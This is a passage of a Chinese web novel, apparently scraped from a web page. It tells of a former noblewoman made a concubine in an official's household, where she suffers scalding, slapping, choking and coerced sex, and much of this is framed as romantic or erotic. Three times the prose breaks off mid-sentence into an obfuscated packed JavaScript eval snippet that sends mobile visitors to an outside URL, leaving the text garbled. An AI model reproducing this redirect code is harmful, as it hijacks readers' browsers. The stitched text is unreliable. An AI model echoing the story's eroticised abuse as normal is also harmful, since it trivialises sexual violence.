《成为前夫哥的姨娘后》 1. 1章 今日是林大人纳妾的日子。 若只是平常妾室也无事,可偏偏…… “哎。” 纳的妾不是良家女,而是教坊司的官妓。 一个妓女,吃进舌根子。 未等过门,浑身上下连同那颗心都被京中众人的唾沫星子淹死了。 骂她年纪轻轻不学好,学人勾引男人。 反正横竖怎么看,这人都是错的。 林府正堂。 一众姨娘坐在一起,彼此交耳小声交谈,林夫人坐在正堂主位,手中端着一杯茶。 众人的目光虽偏向旁处,可余光一齐落在跪在正堂中央的女人身上。 女人乌发垂在腰侧,肤若凝脂,极为清秀可人的面庞,长了一副讨男人喜欢的漂亮眸子。 她诚恳地跪在主母面前,低垂着脑袋,浑身上下透着被调教出来的温顺。 身姿丰腴,柔软的锦衣包裹两团□□,腰肢也格外纤细,从上到下没有一处不可人的,性子也极为乖顺,衬得上她的姓名。 ——可心。 老爷娶了个美人,众人本就心生警惕,多了一个来争宠的,知晓这人过往的身份,众人心上又多了几分复杂情绪。 轻视同情掺半。 毕竟这人过去可是前首辅徐大人家的千金小姐,如今徐大人身死,徐小姐的处境不必多说,同一众徐家女眷一齐被赶进教坊司。 本是受尽宠爱的千金,却成了人人嫌恶的官妓,眼下更是……被人送给前未婚夫的父亲。 本是公媳之缘,转眼一变,成了未婚夫的姨娘。 真是伤风败俗。 几个不得宠的姨娘看着夫人黑沉的面色,掩唇轻笑。 存心看她的热闹。 今日进门,五姨娘跪在地上,准备为夫人敬茶,可足足已经过了一个时辰,夫人也没有开口的意思。 五姨娘过去贵为千金小姐,手指纤细白皙,脸也嫩得能掐出水似的。 正值夏日,天热得很,惹人心烦,五姨娘跪在地上,没过多久额头沁出薄薄的汗水。 眼下要到用午膳的时间,林夫人终于放下茶杯,看向一旁的丫鬟。 丫鬟心领神会,前去端了一壶热茶回来,倒在茶杯里。 滚烫的茶水浸满茶杯,向外溢出,茶汤表面热气上腾,光是看着,就难以触碰。 知晓林夫人有意为难五姨娘,众人只轻轻摇着团扇,目光一齐落在她身上。 丫鬟端着茶水走至她身侧,语气平静,听不出好坏,“姨娘,应敬茶了。” 徐可心小心抬眸,望着眼前的茶水,半晌没有伸手,只扶着地面,紧攥袖子。 林夫人瞥了她一眼,放下手中的茶杯,杯盏撞在桌案上,砰的一声,徐可心心间一颤,在教坊司受人惩戒的记忆涌上心头,她忙不迭伸手。 指尖在触及杯盏的瞬间,骤然停下,紧闭着眼睛不敢看。 她不伸手,站在一旁的两个丫鬟直接上前,掐着她的手腕骤然贴上茶杯。 滚烫的茶水霎时溢出,在指间流淌。 徐可心颤抖着五指,忍不住尖叫一声,想要抽回手,却被硬生生拖到主母面前。 膝盖摩擦地面,徐可心只觉自己像个无能为力的残废,被人拖来拖起,她冒着冷汗跪在主母面前,手指已经痛到失了知觉。 可对方迟迟不接过茶杯,她只能跪在地上,端着滚烫的茶水。 指腹肿胀泛红。 一杯茶凉了,林夫人才接过茶杯,触碰茶杯的睡觉,只说凉了,又命人重新倒一杯茶水。 热水再次从指尖蔓延,十指红肿到极致,竟微微泛白。 指骨太痛了,徐可心抬眸看向林夫人,颤抖着眼皮,语气恳求地喊了一声林夫人。 本想求她接下这杯茶,可话落的瞬间,丫鬟直接上前,一巴掌重重落在她的脸上。 啪的一声。 她连同滚烫的茶水一齐倒在地上,白皙的脸颊霎时浮现酡红,一丝不苟的发丝凌乱地伏在面上,茶水打湿衣摆…… 徐可心半趴在地上,整个人狼狈至极,她扶着自己的脸,看向地面,半晌未敢开口。 没人扶她起身,也没人敢扶她起身,只冷眼旁观瞧着她,目光带着审视,眼底明晃晃写着自作自受四字。 徐可心不知晓自己做错了什么,但她是官妓,可能从根就是错的。 刻上了贱人的烙印,无人愿意探究她的过去,只在乎她的污名。 她的污名看得见摸得着,饶是府中的奴才,街上的小贩,只要知晓她的名讳,都会唾弃,最后感慨她命好,被送给了林大人。 徐可心同样不知晓自己命好在哪里,不过既然他们艳羡,想必她真的命好。 她瘫坐在地,过了半晌,又扶着桌案,颤抖身体端端正正跪在地上,比一般的丫鬟还要温顺。 “还真是在教坊司被调教的不成样子,好好的千金小姐如今一副讨好人的贱人做派。” 不知谁在身后忽得尖声道,话音刚落,顿时哄堂大笑。 徐可心迟疑转身,却见一位身着鹅黄衣裙的女人坐在一旁,柳眉舒展,唇红如血,面上的脂粉很重,可饶是如此,也难掩盖眼尾的细纹。 见她看过来,女人嗤笑道,“你们瞧,她还看我呢。” 徐可心垂下眼皮,没有再看向她。 她狼狈地跪在地上,一旁的丫鬟复又端了一杯茶水上前,徐可心方要伸手时,身后传来脚步声。 未等她接过,一旁的丫鬟先端走茶杯,放在一旁,又重新添了杯温的茶水。 “老爷。”林夫人起身行礼,身后摩挲声齐刷刷响起。 徐可心眸色微怔,转过身看去,却见身着朝服的男人走至堂内,不曾看她一眼,直走到主位坐下。 徐可心跪在地上,犹豫半晌,也轻声唤了声老爷。 声音算不得重,很轻。 正当她以为对方未听见时,男人漫不经心嗯了一声,也不知是在回应她,还是在回应众人。 徐可心垂着眉眼,想起昨夜的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559170|171343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情,心上生了几分胆怯,不敢看他。 “五姨娘,应敬茶了?” 丫鬟笑着走到她面前,俯身将茶水递到她面前,徐可心闻言抬头,对上林夫人眼里无声的警告,她垂眸接过茶水,膝行到林夫人面前,将茶水递到她面前。 林夫人接过茶杯,说了几句场面话。 丫鬟又递过来一杯茶,徐可心接过,犹豫片刻,才又膝行到男人面前,轻声唤了声大人。 男人坐在主位,居高临下俯视她,目光意味不明,不知道在想什么。 过了良久,久到徐可心双手疼痛难忍,男人才伸手,但未接过茶杯,而是握住她的手腕。 被烫的红肿的手心霎时暴露在众人面前,徐可心听他语气没有起伏地问,怎么弄的。 话音刚落的瞬间,坐在一旁的林夫人身子紧绷,徐可心抬眸,对上男人没有情绪的目光,她斟酌着话,小声道,“是妾身自己不小心烫到的。” 男人攥着的手,指腹在她红肿的掌心重重摩挲,徐可心疼得微微蹙眉,很轻地喊了一声疼。 鲜红的巴掌印还伏在脸上,她只小心地仰头看着男人,不自觉想起昨夜的事情。 她被下人带到一处偏僻的院落,洗干净身子后等大人过来。 在教坊司学会如何伺候男人,为讨男人的欢心,她特意拿出一件薄纱裹在身上,半隐半露。 薄纱笼在她的身上,细细勾勒她身体的曲线。 来人身形高大,揉着眉心,看到她的瞬间眸色一怔,可也只是片刻,眸色复又恢复淡漠。 他只走到床边坐下,徐可心站在原地,怯生生地望着他。 数年之前,她还是对方未过门的儿媳,眼下却成了他的妾室。 徐可心不知怎么面对他,林远舟却只眼也不抬地向她伸手,让她过去。 徐可心只犹豫片刻,便脱下薄纱,缓步走到男人身前,主动坐在他腿上。 她勾着男人的脖颈,小心靠在他的肩膀上。 满身学来的伺候人的本事,但奈何一次未用过,只坐在男人的腿上,再无动作。 徐可心之后在想起她的初夜,她才发觉自己有多笨拙。 她眸色挣得浑圆,眨也不眨地盯着男人看。 好似未料到她会这般主动,大人一开始未回应她,只无声打量她,过了良久才揽住她的腰。 教坊司的姐姐告诉她,初夜很痛。 的确如此,她紧蹙着眉,害怕地趴在男人的怀里,不敢抬头。 一只大手压在她的脖颈上,压得她几乎喘不过气。 没有前戏,也没有爱抚,大人冷着面色夺了她的第一次。 昨夜这人要得太凶,徐可心白日醒来时还双腿酸疼,本想好好休息,没想到被人直接从梦中叫醒,跑到正堂敬茶。 苦了她这双腿,青痕遍体不说,又跪了整整一上午,眼下俨然失了知觉。 她正失神时,脸上传来刺痛,她眸色微怔,却见男人抚着她被打的侧脸,垂眸看了片刻,命她起身。 2. 2章 徐可心得了准许,终于站起身,温顺地站在他身侧,好似一件最平凡无趣的漂亮花瓶,虽沉默不语,但格外惹眼。 原因无他,她太漂亮了。 长相貌美,身姿丰腴,性子难得的温顺,比养的雀还要赏心悦目,又是个不爱生事的,正好对大人的脾气。 从正堂回去后,徐可心对着铜镜小心涂抹膏脂。 她的包裹里没什么好东西,只是几件做工粗糙的旧衣和几件旧首饰。 桌前这个药脂也是在教坊司死去的一位姐姐留下的,那人想要逃跑,被抓回来后硬生生打死了。 她剩下的衣服首饰被人尽数拿走,当时小妹洗衣手指冻出病疮,徐可心便拿走了那位姐姐留下的药脂。 药脂用没了,小妹的手也好了。 只留下盒壁上的薄薄一层,徐可心不舍得扔,留了下来,现在正好涂抹脸上的痕迹。 药脂很快用尽,徐可心垂眸望着自己肿胀的手心,几不可查叹了口气。 她正想着去哪里去寻伤药时,身后传来脚步声,男人的身影出现在镜中,徐可心霎时起身,看向站在身后的男人,“大人。” 林远舟走至软榻前坐下,徐可心连忙上前,忍着手心的刺痛为他倒了一杯茶。 手指颤抖不停,连带着茶水也摇摇晃晃的,险些溅在外面。 男人端起茶杯,自从进来就没有说过一句话,好似只是闲来无事到她这里解闷,没有同她闲聊的意思。 徐可心侍奉地站在一旁,片刻后,男人放下茶杯,眼也不抬地提起方才的事情,问她可受了委屈。 眼下四下无人,只有他们二人,她大可以向大人告状,说夫人故意为难。 可…… 如今她初到府中,又只是个妾室,先不说以后还要在夫人眼皮子底下讨日子,不能惹夫人不快,单凭她人微言轻,大人也不会为了她责怪夫人。 思及此,徐可心微微摇头,“妾身没有受委屈。” 她自然明白哭的孩子有糖吃的道理,可那是对喜欢的人来讲,如今她只是个妾,入府前还是最卑微不过的官妓。 林远舟无声看了她片刻,才牵起她的手,奖励似的将她揽在怀里,抚着她被打的侧脸,告诉夫人是林府的女主人,让她不可惹夫人不快。 “可心可明白?”他问。 徐可心依偎在他怀里,温顺地用脸颊蹭他的手心,格外乖巧道,“妾身明白。” 好似满意她的回答,林远舟走后,命人送来了伤药和衣服,又命人为她量体裁衣,做了几件衣裙。 在教坊司呆的久了,徐可心都快忘记自己上次做衣服是在什么时候。 一巴掌打在脸上,却得了新衣,徐可心抚着自己的侧脸,不知应该先哭还是应该先笑。 她本想着自己如今破了相,大人晚上不会前来,谁成想快入夜时,院内的丫鬟快步跑了进来,说大人来了。 徐可心穿着旧衣,正对着镜子擦拭药脂,闻言方要用脂粉遮掩脸上的红痕,脚步声已然在身后传来。 她慌乱起身,快步迎了上去,不管不顾环住男人的腰,直接扑进他怀里。 少时她学了很多贵女应懂的礼仪,不过早就在教坊司朝朝暮暮地磋磨中,忘得一干二净。 如今只知晓,只有讨得眼前这人的喜欢,才能在府中立足,不会被他赶走。 她已经没有家了,她需要一个家。 寄居也好,被人轻视也罢,只要能留在府中就好。 思及此,徐可心抚上他的侧脸,讨好地吻上他的唇。 “大人。”她轻声喊道。 男人眉眼疲倦,没有同她多言的意思,按着她的肩膀将她压在床上。 相比较她的青涩,男人的动作轻车熟驾,透着欲望被满足的倦怠劲,看似漫不经心,可进来时不断深入,不给人拒绝的机会。 徐可心仰着脖颈,眸子瞪大,好似濒水的鱼,心中害怕但坚定地环着男人的肩膀。 她的出路就在眼前的男人身上。 小妹还在教坊司,只要讨好他,大人会帮她救回小妹。 徐可心这般想着,想要吻上男人的唇,男人身形一顿,先察觉她的动作,微微蹙眉压着她的脖颈将她按回床上。 钳在徐可心脖颈上的手指格外用力,好似要掐断她的脖颈。 呼吸一点点被禁锢,徐可心覆上男人的手腕,挣扎着求他松手。 临到昏厥时,男人才终于松开手。 徐可心得了喘息的机会,抚着心口大口呼吸,大人介怀她的官妓身份。 思及此,徐可心讨好地握住男人的手腕,亲吻他的手指,像只猫似的不断献媚。 男人无声审视她,眸色冷清。 见他半晌未开口,面色也没有改变,徐可心正想是不是大人不喜欢她时,头皮刺痛,她被抓着头发拽到地上。 膝盖重重撞在地上,阵痛无比,她方要惊呼,整个人就被迫跪在地上。 过了良久,久到她的下巴酸疼,几近脱臼,男人才放过她。 徐可心半跪在地上,用袖子擦拭唇角,扶着床边,脸贴着男人的膝盖,柔声道,“大人,妾身乖吗?” 她本意是想讨好男人,可后半夜,她却因这句话付出了代价,整整一夜被压在床上翻来覆去折腾个遍。 她直觉自己的身子快要散架了。 徐可心最后忍不住,想要向大人求饶,谁成想却被一巴掌扇在身上。 她霎时失了声音,紧咬着被子不敢再开口。 连续几夜,整个院中时常传来她孟浪的喊叫声。 全府上下都知晓,新来的五姨娘手段高明,精通伺候男人的本事,备受大人宠爱。 旁人都嫌她官妓出身,徐可心不想辩驳什么,她只想留在府中,救回自己的小妹,蜷缩在一隅好好活着。 白日请安。 徐可心穿着下人送给她的衣服,命丫鬟梳了一个素净老气的发髻,只插了一根木簪子前去正院。 早在她前去教坊司时,把所有首饰用来打通关系,留下了小妹,只陪在她身侧做个打杂的,嬷嬷收了钱也未再为难她们姐妹二人。 府中算上她共有四位姨娘,还有几个还未当上主子的通房丫鬟,在夫人院中侍奉。 知晓自己眼下得大人喜欢,怕落人口舌,徐可心每日忍着腰疼,早早醒来梳妆,生怕来得晚了被夫人责罚。 待众人来齐后,她坐在最边缘的角落里,只默默喝茶。 深知说多错多的道理,不能表现出一丝得意,旁人说什么,她也不敢接话,只面色平静,好似什么也未发生一般。 可每夜大人往她房中走,就算她不提起,府内的眼睛都盯着大人的去向,也都清楚,新来的五姨娘受宠。 “过去我见大人常去春熙斋,每每从我院前路过,脚步不停,我知晓如今自己容貌不复从前,想着沾四姨娘的光,只远远看眼老爷的背影就好,谁成想现在连半个背影都看不到。” 身着绿衣的女人抚着手掌,半开玩笑地调笑不停,坐在徐可心身侧的女人早就变了脸色,砰的一声放下茶杯。 茶汤四溅,徐可心身子微颤,垂下眉眼。 “我是清白人家的女儿,哪里懂得那些不入流的手段,谁知道某些狐媚子给老爷下了什么迷魂汤。”四姨娘拧着眉,不满反驳。 她瞥了徐可心一眼,看向大夫人,“未过门的儿媳,如今成了父亲的妾室,我说夫人,过两日二公子回京,见府内乌烟瘴气的,还不应气到?” 她话语不停,丝毫未顾及坐在她身侧的徐可心,一口一个狐媚子,口中是不加掩饰的嫌弃。 听到她口中的二公子,徐可心眸色微怔,饶是过去三年,再从旁人口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559171|171343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中听到他,心上还是不自觉微微酸疼,放不下,也无缘,已经错过了。 婚约被废,她现在又是他父亲的妾室,再也不能去喜欢他了。 徐可心垂下眉眼,面上流露出几分怅然,只这一眼,被坐在主位的林夫人瞧见。 “五姨娘初到府中,还未为林家列祖列宗祈福,明日前去后山的道观,祈福半月,再回府中。” 这话明摆着赶她走,让她离开。 徐可心不想去,但也不想惹恼大夫人,方要起身答应,坐在她对面的三姨娘先笑道,“怎么?夫人的命令,五姨娘也不愿听?” 徐可心未理会她的话,只向林夫人行礼,应承下来。 白日在朝中处理政务,林远舟回来时已是深夜,过了亥时,他向听雨阁走去。 跟上来的管家犹豫半晌,才道,“大人,五姨娘眼下不在院中。” 男人步伐一顿,抬眼看他。 管家忙不迭道,“白日夫人命五姨娘去后山的道观为先祖祈福,如今人已经离开了。” “要不将五姨娘接回来……”管家迟疑提议。 林远舟揉着眉心,过了半晌才移了步子,“去春熙斋。” 管家得了他的话,连忙命人前去告诉四姨娘,让她早些准备。 后山道观。 徐可心推开略微残破的木门,走了进去,方一进门,土腥气扑面而来,呛得她直咳嗽。 小厮带路后,人就走远了,没有再理会她,俨然一副任由她自生自灭的模样。 徐可心望着灰扑扑陈旧的屋内陈设,站在门外轻轻叹了口气。 她才得了大人的喜欢,大人仍认为她新鲜还未腻味,可眼下她住进道观,硬生生同大人分开,也不知晓等回去后,后宅还有没有她的位置。 道观只有几个道士在此修行,还在前殿中,鲜少涉足此处。 她只能独自一人打扫屋子,若在过去,没有下人帮她做活,她的确无从下手,不知怎么清理,可眼下方从教坊司剥了层皮爬出来,眼下处境于她而言也算不得什么。 徐可心寻了一个破木桶,费力地去泉边取水。 一条溪流自上而下垂落,瀑布悬在半空,一池幽湖。 徐可心跪在池边,打了一桶水,可力气太小,方走了半步,自己连同木桶一起摔在岸边。 她瘫坐在地上,过了半晌才又站起身,只打了半桶水,就要离开。 远处山上的凉亭上,道长方算卦,却见一旁的公子望着山下。 男人身着青衣,手持玉扇,不知再看什么。 道长顺着他的目光看过去,一个身姿丰腴的女人费力抬着水桶离开湖边。 “此人便是令尊新纳入府中的妾室,五姨娘。”不等男人问,道长先说。 男人闻言敛去眸中神色,收回目光。 见他回神,道长说,“公子,卦象已解。” 男人不咸不淡嗯了一声,没有追问的意思。 徐可心回了道舍,把屋内擦拭干净后,又向道童借了把扫把,扫走院内的残叶。 她忙了一下午,早就累得满头大汗,匆匆吃了口随身带的糕点,趁着夜色跑到池边清洗身子。 道童告诉她,亥时他们入寝,不会出来,让她放心清洗。 池边,月华斜斜垂在她身上,落了满背。 徐可心脱下衣服,踩着冰凉凉的鹅卵石,走入池中。 水没过胸脯,徐可心仔细清洗身子。 后山没什么野兽,只有蜂拥的鸟雀,但入夜后,白日各色鸟叫尽数消散。 她背靠月色,没有注意周围的动静,等她起身穿衣,发觉今夜月色格外好,徐可心望着悬在半空的弯月,方要收回目光时,余光掠过山上凉亭,目光骤然一停。 一个身形高大的男人站在亭中,正居高临下望着她,不知看了多久。 3. 3章 她的半边身子还露在水面,几乎瞬间,徐可心环住身子潜入水中,眸色惊恐地望着站在岸边的男人,下意识道,“长公子……” 徐家未失势时,她常跟在林昭明身后,自然也认识他的长兄林怀瑾。 怀瑾握瑜,是京内久负盛名的公子。 刻板严肃墨守成规,少时徐可心怕他,如今成了他父亲的姨娘,徐可心仍怕他。 这人循规蹈矩,最厌恶风尘女子,也从不出入烟柳巷弄,京中同辈公子嫁人娶妻时,他仍未婚娶,成日清心寡欲,比一般的教书先生还迂腐。 知道自己现在身份低微,徐可心垂下眉眼,不敢同他对视,甚至不敢问他为何深夜不睡身处道观之中。 “五姨娘。”他语气没有起伏道。 过去这人见到她时,总会唤她徐小姐,这声五姨娘让她听起来很陌生。 她现在赤着身子浸泡在水中,双耳泛红,先道,“劳烦公子离开。” 林怀瑾站在池边,徐可心的衣服恰巧挂在他身侧的树上,晚风拂过,不知名的幽香扑面而来。 眼下女人泡在水里,这清雅的香气也只能是她衣裙的味道。 徐可心不明白发生何事,只见林怀瑾忽得眉头紧皱,站在岸边,审视的目光落在她身上,眸色探究。 “五姨娘如今成了父亲的妾室,理应安分守己,那些不该有的心思也应断了,若让本公子知晓姨娘做了不该做的事情,勿怪我代父亲清理门户。” 听到清理门户四字,徐可心骤然抬眸,慌乱解释道,“妾身自知身份低微,未想再纠缠二公子,求长公子明鉴。” 顾不上礼仪尊卑,她行至岸边,祈求地扯住林怀瑾的衣摆,仰头恳切道,“公子,妾身定会安分守己,不会纠缠二公子,求公子不要赶走妾身。” 她的一双眸子睁得浑圆,慌乱地望着他,格外无助,好似被丢弃后又被人捡回来的猫,在外面吃尽了苦头,回来后变得温顺听话,生怕再次被人丢弃。 他站在池边,任由徐可心扯着他的衣摆。 池中水格外清澈,水下曼妙的酮体暴露无遗,月色下隐隐绰绰,光影流转。 徐可心正恳求时,男人没有征兆地转身,大步离开,只留给她一个背影。 过了半晌,她才堪堪回神,仓促擦干净身子快步回了道舍。 说是祈福,她并非林家正妻,只跪在大殿之中,心中默念经文。 她在道观跪了整整七天,到第八日时,她垂着眉眼正坐在角落抄记经文时,门外传来一阵脚步声。 “二公子今日为何有空前来?” “近日头疾发作,入夜后难以安睡,总是梦到一些匪夷所思的事。” “梦?仍是……” 未等道长说完,那人先打断他的话,直白道,“常梦到一女子,在梦中痴缠不休。” “想必是哪路的孤魂野鬼,贪恋公子身上的阳气。” 两人走至殿中时,大殿空无一人。 角落的红柱后,徐可心躲在帘子后,紧捂着脸,不敢开口。 那夜长公子让她安分守己,不得纠缠二公子。 二公子素来厌恶她,还不知道她如今成了林府的姨娘,若见到她一定会跑到夫人赶她走,到时长公子难免会对她有所微词。 她如今已经入了林府,不能再被赶走了,徐可心向后蜷缩身子,紧紧捂着自己的脸,不敢发出一声响动。 两人在殿内交谈,道长说他每日烦劳,修身养性即可,不必求符,林昭明闻言,揉着眉心,依旧让他为自己画符,想要除掉梦中女鬼。 见他坚持,道长只能离开大殿,前去寻符纸。 林昭明站在大殿之中,方要寻一处坐下,余光略过角落桌案上只抄记一半的经文,鬼使神差地走上前。 字迹清秀,格外圆润。 林昭明本紧绷的面色骤然一凝,环视大殿四周,但未寻到半个人影。 如今那人正在教坊司,他疑觉自己每日梦到那人,心上也生了念想。 她还真是害人不浅。 林昭明捡起桌案上的经文,只想早些得到平安符,也好将她从自己的梦中驱赶出去。 可若不在他的梦里,她又会去哪里?难不成会跑进旁人的梦里…… 思及此,林昭明面色一沉。 “公子。” 道长拿着平安符走了进来,交到他手中,可林昭明未接过去,又说不必了,拂袖离去。 徐可心躲在幕帘后,紧攥帘布,待道长也离开后,她才走出来,走至桌前坐下,可心思不自觉飘到离开那人身上。 方才怕被他瞧见,未敢出来见他。 现在林昭明走了,徐可心又不免生出几分悔意,懊恼地攥着毛笔,想着方才若胆子大些,说不定能见他一面。 徐可心本来期盼回后宅,但现在林昭明回京,她又不想回后宅,怕遇见他。 可她心上再纠结,苦修半月后,还是收拾自己的东西回了听雨阁。 入夜后,大人也未来她房中,丫鬟告诉她,近日大人一直宿在春熙斋。 她才得了大人的喜欢,徐可心不想放手,知晓前两天大人宿在书房,她换了衣服,端着药膳向书房走去。 不知道大人会不会让她进去,徐可心一路忐忑,方到书房前就被侍卫拦了下来,说大人有令,不得令人入内。 知晓大人政务繁忙,若自己现在进去难免惹他厌烦,既然来了,她也不能走。 见侍卫没有为她传唤的意思,徐可心放下药膳,直接跪在书房门前,安静等候。 就算今夜等不到,明日大人上朝时也会瞧见她。 徐可心这般想着,跪着的姿势也不自觉挺直几分。 见她不哭不闹,只安安静静跪在一旁,侍卫们也没有刁难她的意思,退到一旁没有再理会她。 他们方才未刻意压低声音,书房的人没道理听不见,只是不想见她,但徐可心不得不见他一面,才好让大人知道,自己回来了。 徐可心跪在地上,端着药膳。 夜色渐深,天也微微泛冷。 她垂着眉眼,本想一直等到天亮,忽得身后传来沉稳脚步声,徐可心眸色微动,但没有回看。 直到玄色长靴停在自己面前,徐可心才顺着衣袍,仰头看向来人,却见林怀瑾站在她面前,居高临下俯视她。 徐可心身子一僵,待林怀瑾得了允许进入书房后,她逃也似的端着药膳跑走了。 她现在向大人献媚,不怕旁人骂她下贱,但徐可心独独怕林怀瑾。 因为这人真得会将她从府中赶走。 她像一条流浪狗,灰溜溜地从书房跑走,生怕走得晚了被长公子嫌恶。 书房内。 林怀瑾走至桌前,俯身拱手向男人行礼,“父亲。” 林远舟手持公文,眼也不抬地嗯了一声。 “赵大人过去一直在湖广任职,的确不曾见过徐家几位小姐,此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559172|171343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 番送人……” 林怀瑾话音一顿,才道,“实属巧合。” 林远舟眸色平静,也未说相不相信,听完后就命他退下。 林怀瑾方要离开,忽得想到跪在书房门外的女人,他停下脚步,迟疑道,“父亲,孩儿有一事不知当讲不当讲。” 林怀瑾斟酌良久,才俯身道,“父亲,无论如何徐小姐之前都是二弟的未婚妻,如今却成了府上的姨娘,这……可否有违纲常伦理。” 林远舟放下公文,眼底没有情绪。 过了半晌,他才道,“如今可心已是为父的人。” 乍一听,好似再说徐可心的归属,她被当成一个玩意送到他床上,可仔细探究,就能明白。 他说的是二人已经云雨行房。 林怀瑾沉默半晌,未再多言,告辞离开。 从书房走出时,门外的女人已经不见踪影,连同那碗药膳也未留下。 连二弟都未计较,他作为兄长,又何必多管闲事,他瞥了眼方才女人下跪的石阶,抬步走远。 书房内安静无声,过了良久,才传来问话,五姨娘何时来的,又何时走的。 侍卫闻言,忙不迭一一告知。 男人望着手中的公文,眸色无神,心思明显在旁处。 听雨阁。 从书房离开后,徐可心连忙跑回房中,脱下外衣蜷在床上。 每每见到林怀瑾,她心上都害怕得紧,偏偏今夜不凑巧,被他撞见自己献媚。 徐可心攥紧被子,想着明日再寻机会,她方才狼狈跑回来,早就累得浑身脱力,没过多久就睡了过去。 梦中她正熟睡时,忽得大腿被人用力钳住,徐可心不舒服地挪动身子,依旧昏睡时,身下没有征兆地被破开。 她疼得冷汗直冒,霎时清醒,却对上一双沉寂的眸子。 徐可心呆愣片刻,才缓过神,强撑着床坐起身,回抱住男人的后背,埋首在他怀里柔声地唤了一声大人。 她像之前那般同男人撒娇,可未等说什么,就被按着腰压回床上。 大人很喜欢后入的姿势,徐可心整个人伏在他身下,只觉全身心都被这人掌控,随他沉沦。 之后几夜,大人依旧来她房中。 徐可心终于松了口气,大人还未认为她腻歪。 甭管是喜欢她的温顺,还是喜欢她的身子,只要这人每夜能来就好。 知道林昭明如今回京,除了请安她不得不前去正堂,白日她都躲在院子里,生怕在府中碰见林昭明。 整整一月过去,徐可心算着时间,正想着如何同大人提起将小妹接过来的事情,夜里,男人动作不停,说她入府已有一月,可否有什么要的。 徐可心本意志消沉,闻言睫毛颤抖,霎时抬眸,抬起手臂,虚虚环住男人的肩膀,小声道,“大人,妾身的确有一事相求。” 男人揽着她的腰,将她抱在怀里直接向池边走去,“何事?” 徐可心埋首在他颈侧,低头凑到男人耳边,想着嬷嬷教给她的话,双唇微张,缓缓吐了口气,唇贴着男人耳侧,闷声委屈道,“大人,我想小妹了。” 如今徐家大房只余下她和小妹二人相依为命。 小妹自小在她身边长大,徐可心不忍心她受苦,在知晓进京任职的赵大人寻一位美妾时,她使用浑身解数才被教坊司的人选中,推到赵大人面前。 本想着嫁给赵大人为妾,没想到阴差阳错,被送到林府…… 4. 4章 徐可心埋首在男人怀里,两只手臂虚虚揽着他的肩膀。 温热的手臂贴在他滚烫的胸膛上,徐可心微微俯身,有意用自己的心口紧贴着男人的胸膛,在他耳边轻哼不停,“好不好吗,大人。” 林远舟揽着她的腰,无声看她,没有立刻答应徐可心。 一句话不应,徐可心又转过身子,抬手抚上男人的胸膛,皱着眉委屈道,“她如今在教坊司,年纪小本就容易被人欺负,现在妾身离开了,小妹孤苦无依,妾身很担心她。” “大人也知道,妾身如今只有小妹一个亲人了……” 话到最后,徐可心的声音也不自觉弱了下来,眼眶微微酸胀,这次真心实意地感觉委屈。 怕大人嫌弃她矫情,徐可心偏过头,趴在男人颈侧,可心中太委屈,泪水夺眶而出,顺着脸颊滑下,竟落在男人的肩膀上。 徐可心眸色微怔,赶在男人开口前,低头吻了上去,啄去自己的泪。 泪水咸湿,掺杂冷寂的沉香气。 未等她咽下,下巴被钳住,脸上的泪痕尽数暴露在男人面前。 男人眸色沉静,垂眸注视她,不知在想什么。 徐可心无声吞咽口水,咽下自己的眼泪,泪水浮在面上,不仅未让她变得狼狈,反而衬得她格外楚楚可怜。 她知道自己一双的眼睛长得很漂亮,只压下心中的惆怅,盯着男人看。 泪水悬在眼眶,要哭不哭的。 男人看了半晌,指腹重重压在徐可心的眼尾,直把她的皮肤揉得涨红,才淡声道,“往日都是可心受着,今夜可心自己做主。” 她自己做主…… 徐可心眸色微怔,未明白大人的意思。 她平时在床下仗着学过不入流的本事,胆子格外大,可等真真正正上了床,又像什么都不懂的雏鸟,只懵懂地看着他。 不知道的还以为她故意懂装不懂。 林远舟这几夜被他这位小情人侍奉得格外餍足,也不想探究徐可心到底真不懂,还是欲擒故纵装不懂,只揽着她的腰让她背过身子,抱在自己怀里。 两只有力的手臂横在身前,徐可心呆愣片刻,终于明白了对方的意思。 面色霎时涨红。 她前几夜只躺在床上受着,还是第一次自己主动……她低垂着眸子,莫名有些窘迫,一想到可以救回小妹,她又稳了稳心神,涨红着脸跪起身。 整整一夜,大人也没有怜惜她的意思,徐可心累到双腿胀痛麻木,才瘫坐在床上。 分明困得睁不开眼,依旧趴在男人怀里低语不停,直到林远舟答应她不日会派人接回小妹,徐可心才阖上眼皮,枕着男人的手臂沉沉睡去。 大人给了她承诺,徐可心本想着过几日才能见到小妹,没想到仅仅过了两日,丫鬟便带着一个身着旧衣眉眼怯懦的少女走了进来。 “姨娘,快看谁来了?” 徐可心正练琴,见到少女的瞬间倏地站起身,快步上前直接将少女揽在怀里抱住。 “念安。” 